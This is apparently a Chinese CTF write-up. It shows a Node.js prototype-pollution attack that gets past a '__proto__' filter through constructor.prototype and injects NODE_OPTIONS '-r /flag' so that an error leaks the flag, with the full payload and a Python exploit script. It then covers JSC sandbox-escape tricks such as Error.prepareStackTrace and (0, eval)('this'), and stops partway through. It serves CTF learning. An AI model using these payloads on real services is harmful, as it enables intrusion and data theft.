审计代码,应该是一道node.js的原型链污染题目
·
看污染部分逻辑
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('get out!');
return;
}
continue;
}
if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}
只过滤了__proto__关键词,但我们还是可以使用{"constructor": {"prototype": {"key": "value"}}} 污染
再看到/api/status路由
const customEnv = Object.create(null);
创建了一个没有原型的对象,但是由于在后面
for (let key in process.env) {
if (key === 'NODE_OPTIONS') {
const value = process.env[key] || "";
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}
讲process.env的参数赋给customEnv
所以我们仍然可以污染process.env的原型来间接污染customEnv
发送污染Payload
POST /api/config HTTP/1.1
Content-Type: application/json
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}
再访问 /api/status ,此时:
- 创建子进程
node -e 'console.log(...)' - 子进程继承被污染的
process.env.NODE_OPTIONS - 实际执行:
node -r /flag -e 'console.log(...)' - Node.js 尝试预加载
/flag文件 /flag内容XMCTF{...}不是合法JS,报错- 错误信息中包含 flag 内容
ai一把梭脚本
import requests
import re
target_url = "http://target_url"
session = requests.Session()
# Step 1: 发送污染payload
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}
resp = session.post(
f"{target_url}/api/config",
json=payload,
headers={"Content-Type": "application/json"}
)
print(f"[+] 污染结果: {resp.text}")
# Step 2: 触发漏洞
resp = session.get(f"{target_url}/api/status")
print(f"[+] 触发结果: {resp.text}")
# Step 3: 提取flag
flag_match = re.search(r'(XMCTF|flag)\{[^}]+\}', resp.text, re.IGNORECASE)
if flag_match:
print(f"[+] FLAG: {flag_match.group(0)}")
Not a Node
前置知识
使用Error.prepareStackTrace技巧
这是一个V8/JSC引擎的特性,用于自定义错误堆栈的显示方式。
// 定义自定义的堆栈格式化函数
Error.prepareStackTrace = function(error, stack) {
// error: 错误对象
// stack: CallSite对象数组,包含调用栈信息
return "custom stack";
};
// 触发一个错误来测试
try {
throw new Error("test");
} catch (e) {
console.log(e.stack);
}
原理:当JavaScript引擎准备显示错误堆栈时,会调用Error.prepareStackTrace函数。通过修改这个函数,我们可以在错误发生时执行自定义代码。
获取全局对象
使用(0, eval)("this")技巧:
// (0, eval) 将eval作为普通函数调用,而不是直接调用
// "this" 在eval中指向全局对象
let global = (0, eval)("this");
console.log(global);
为什么这样写?
(0, eval)是JavaScript的一个技巧,确保eval在全局作用域执行
格式?
(0, eval)
(1, eval)
(null, eval)
('', eval)
[eval][0]
window.eval #浏览器中
global.eval #node.js中
关于JSC
JSC = JavaScriptCore
是 Safari / 边缘计算用的浏览器引擎,无 Node.js 原生 API
关于Uint8Array
Uint8Array是JavaScript中的类型化数组,用于表示8位无符号整数数组。它可以用来处理二进制数据。
// 创建一个Uint8Array
let arr = new Uint8Array([72, 101, 108, 108, 111]); // "Hello"
// 将字符串转为Uint8Array
let encoder = new TextEncoder();
let bytes = encoder.encode("Hello"); // Uint8Array [72, 101, 108, 108, 111]
// 将Uint8Array转回字符串
let decoder = new TextDecoder();
let str = decoder.decode(bytes); // "Hello"
而二进制数据,一般直接作为原始字节传递,不被当作字符串处理
题目
我们搭建了一个“安全”的在线 JavaScript 运行平台。
你提交的代码会被放进一个精心准备的沙箱中运行,一切看起来很干净

解
拿到题不会做也没啥想法,跟着ai走一遍学习学习
第一步:信息收集
网站右侧
Fetch API standards fully supported in the JSC sandboxed context.
#Fetch API 标准在 JSC 沙箱环境中被完全支持。
说明无法使用node.js原生api
__runtime.hash(str)
High-performance DJB2 hashing.
__runtime.encoding.hexEncode(s)
e.g. hexEncode("internal") -> 696e7465...
泄露使用了__runtime 的几个函数
Advanced
The runtime exposes documented APIs through th更多推荐


所有评论(0)